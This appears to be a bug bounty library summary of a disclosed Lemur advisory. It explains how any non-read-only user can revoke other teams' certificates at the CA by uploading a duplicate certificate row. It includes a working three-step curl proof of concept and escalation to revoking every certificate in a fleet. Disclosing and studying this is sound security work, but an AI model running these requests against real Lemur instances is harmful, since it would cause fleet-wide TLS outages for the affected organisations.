# Lemur: Any user can revoke arbitrary certificates at the CA by uploading a duplicate record and revoking it

Any non-read-only Lemur user can upload a duplicate certificate row aliasing a victim's CA-side cert and revoke it, revoking the real production certificate at the CA.

- Payout: Research
- Severity: high
- Program: Lemur
- Found by: maperu
- Disclosed: 2026-08-18
- CVE: CVE-2026-71417
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-pxmc-2ffp-8j67
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-pxmc-2ffp-8j67
- Tags: area:web domain:api domain:web impact:dos impact:integrity kind:research platform:ghsa sev:high technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:business-logic vuln:idor

**Target:** Lemur REST API certificate upload and revoke endpoints
**Root cause:** Revoke authorization checks ownership of the Lemur DB row rather than the CA-side certificate identity, and upload lets any StrictRolePermission user create a second row aliasing the same body/external_id/authority with no uniqueness constraint or AuthorityPermission check.
**Steps:**
1. `GET /api/1/certificates/<VICTIM_CERT_ID>` with any authenticated token to read `body`, `external_id`, `authority.id`
2. `POST /api/1/certificates/upload` with `{"name":"victim-dup","owner":"attacker@example.com","body":"<VICTIM_BODY_PEM>","authority":{"id":<VICTIM_AUTHORITY_ID>},"externalId":"<VICTIM_EXTERNAL_ID>"}` — returns new `<DUP_ID>` owned by attacker
3. `PUT /api/1/certificates/<DUP_ID>/revoke` with `{"crlReason":"unspecified"}` — creator bypasses CertificatePermission, empty endpoints bypasses deployed-cert guard, plugin revokes at CA by body/external_id
**How found:** Code review of the revoke authorization path: noticed the owner check compares against the Lemur DB row's user, then traced upload to find it accepts caller-supplied authority/external_id/body with only StrictRolePermission and no uniqueness constraint, allowing a duplicate row that aliases the same CA-side certificate.
**Exploitation:** Attacker with any non-read-only role enumerates certificates via GET /certificates, reads each victim's body/authority/external_id, uploads a duplicate row bound to the victim's authority, then revokes the duplicate. The issuer plugin (ACME by body; DigiCert/Entrust/Google CA/CFSSL by external_id) calls the CA with the authority's stored credentials, revoking the real certificate. Iterating yields fleet-wide TLS DoS.
**Escalation:** Iterate over GET /certificates to revoke every certificate in the fleet, including those attached to live endpoints, without any AuthorityPermission or CertificatePermission on the victim.
**Insight:** When an authorization check keys on a database row rather than the external resource identity, look for any create/import path that lets you mint a second row aliasing the same external object — uniqueness constraints on external identifiers are the real control.

## Proof of concept (copied exactly from the original report)

**Three-step curl PoC: read, upload duplicate, revoke**

```
# 1. Read the victim's body / authority / external_id (exposed to any authenticated user)
curl -sS "<TARGET_BASE_URL>/api/1/certificates/<VICTIM_CERT_ID>" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  | jq '{body, external_id, authority: .authority.id}'

# 2. Upload a duplicate row aliasing the same CA-side certificate
curl -sS -X POST "<TARGET_BASE_URL>/api/1/certificates/upload" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
        "name": "victim-dup",
        "owner": "attacker@example.com",
        "body": "<VICTIM_BODY_PEM>",
        "authority": {"id": <VICTIM_AUTHORITY_ID>},
        "externalId": "<VICTIM_EXTERNAL_ID>"
      }'
# → returns {"id": <DUP_ID>, ...}; attacker is now cert.user of <DUP_ID>

# 3. Revoke the duplicate — issuer plugin revokes at the CA by body/external_id
curl -sS -X PUT "<TARGET_BASE_URL>/api/1/certificates/<DUP_ID>/revoke" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"crlReason": "unspecified"}'
```

**Static-trace grep validation commands**

```
grep -n 'StrictRolePermission' lemur/certificates/views.py | grep -v Authority
grep -n 'cert.authority = kwargs.get' lemur/certificates/service.py
grep -n 'g.current_user != cert.user' lemur/certificates/views.py
grep -n 'certificate.external_id\|certificate.body' \
  lemur/plugins/lemur_acme/acme_handlers.py \
  lemur/plugins/lemur_digicert/plugin.py \
  lemur/plugins/lemur_entrust/plugin.py
```

